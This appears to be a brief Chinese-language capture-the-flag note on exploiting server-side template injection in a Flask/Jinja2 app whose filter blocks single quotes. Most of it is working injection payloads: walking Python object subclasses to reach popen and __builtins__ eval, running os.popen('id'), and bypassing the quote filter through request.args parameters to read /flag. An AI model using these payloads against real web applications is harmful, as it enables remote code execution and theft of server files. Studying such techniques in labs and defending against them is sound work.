过滤了'
?name={{[].__class__.__base__.__subclasses__()}}
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}
法一:
本来应该这样的 ?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
但是单引号被过滤了
引号被过滤了无法执行,把'popen'先换成request.args.a
(这里的a可以理解为自定义的变量,名字可以任意设置),让a=popen
同样的,命令执行'ls'也要换
法二:
这里的关键是加了一个builtins,然后语句就有些不一样了
[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
格式也可以是这样的
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__[request.args.a](request.args.b).read()}}&a=open&b=/flag
open就是打开文件的函数,所以不用cat(应该是这样)